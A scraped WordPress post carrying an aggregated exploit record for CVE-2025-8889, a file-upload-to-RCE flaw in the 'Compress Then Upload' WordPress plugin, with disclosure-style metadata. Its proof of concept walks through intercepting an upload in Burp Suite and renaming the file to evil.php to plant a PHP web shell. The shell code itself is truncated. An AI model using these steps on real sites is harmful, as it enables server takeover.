{“lastseen”:”2025-08-24T03:01:27″,”description”:”# Exploit Title: WordPress Compress Then Upload Plugin 1.0.3 Arbitrary File Upload to RCE\\n**Date:** 2025-07-23 \\n**Exploit Author:** Muhammed \u00c7elik \\n**Vendor Homepage:** [https:\/\/wordpress.com\/plugins\/compress-then-upload](https:\/\/wordpress.com\/plugins\/compress-then-upload) \\n**Software Link:** [https:\/\/downloads.wordpress.org\/plugin\/compress-then-upload.latest-stable.zip](https:\/\/downloads.wordpress.org\/plugin\/compress-then-upload.latest-stable.zip) \\n**Version:** 1.0.3 \\n**Tested on:** Debian, WordPress 6.8.1, Apache 2.4.62, PHP 8.2.28 \\n**CVE:** CVE-2025-8889 \\n\\n## Vulnerability\\nThe \\”Compress Then Upload Images\\” WordPress plugin fails to properly validate file extensions and MIME types during image uploads via its media upload interface. Although client-side validations exist, these can be bypassed by intercepting and modifying the upload request.\\n\\nAn authenticated user with media upload permissions (Author role or higher) can exploit this by:\\n\\n1. Uploading a benign image file first \\n2. Intercepting the upload request (e.g., via Burp Suite) \\n3. Modifying the uploaded filename extension and the file content to contain malicious PHP code \\n4. Retaining the original MIME type header (image\/jpeg) to bypass weak server-side checks \\n5. Resulting in arbitrary PHP code execution (Remote Code Execution, RCE) on the server \\n\\n## PoC\\n\\n**Step 1: Prepare a regular image file** \\nCreate a regular image file, e.g., `regular.jpg` (any valid JPG file).\\n\\n**Step 2: Upload the regular image via WordPress Admin Panel** \\n- Login to WordPress Admin Panel with a user having at least Author privileges. \\n- Navigate to Media \\u003e Compress Then Upload Images (plugin\u2019s upload interface). \\n- Upload `regular.jpg` normally.\\n\\n**Step 3: Intercept and modify the upload request with Burp Suite** \\n- While the upload is in progress, intercept the HTTP multipart request in Burp Suite. \\n- Modify the request: \\n – Change `filename=\\”regular.jpg\\”` \u2192 `filename=\\”evil.php\\”` \\n – Replace the file content with PHP web shell code: \\n\\n“`php\\nGIF89a;\\n\\n?\\u003e\\n\\n”,”published”:”2025-08-20T16:57:18″,”modified”:”2025-08-20T17:12:02″,”type”:”githubexploit”,”title”:”Exploit for CVE-2025-8889″,”source”:””,”references”:””,”id”:”552E8BE4-176E-577F-836D-7BC48196FBCE”,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2025-8889″],”sourceData”:””,”sourceHref”:””,”cvss”:{“score”:0,”severity”:”NONE”,”vector”:”NONE”,”version”:”NONE”},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/github.com\/siberkampus\/CVE-2025-8889″,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2025-08-24T03:01:27″,”description”:”# Exploit Title: WordPress Compress Then Upload Plugin 1.0.3 Arbitrary File Upload to RCE\\n**Date:** 2025-07-23 \\n**Exploit Author:** Muhammed \u00c7elik \\n**Vendor Homepage:** [https:\/\/wordpress.com\/plugins\/compress-then-upload](https:\/\/wordpress.com\/plugins\/compress-then-upload) \\n**Software Link:** [https:\/\/downloads.wordpress.org\/plugin\/compress-then-upload.latest-stable.zip](https:\/\/downloads.wordpress.org\/plugin\/compress-then-upload.latest-stable.zip)…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,32,13,33,7,11,5],"class_list":["post-14122","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-githubexploit","tag-news","tag-none","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n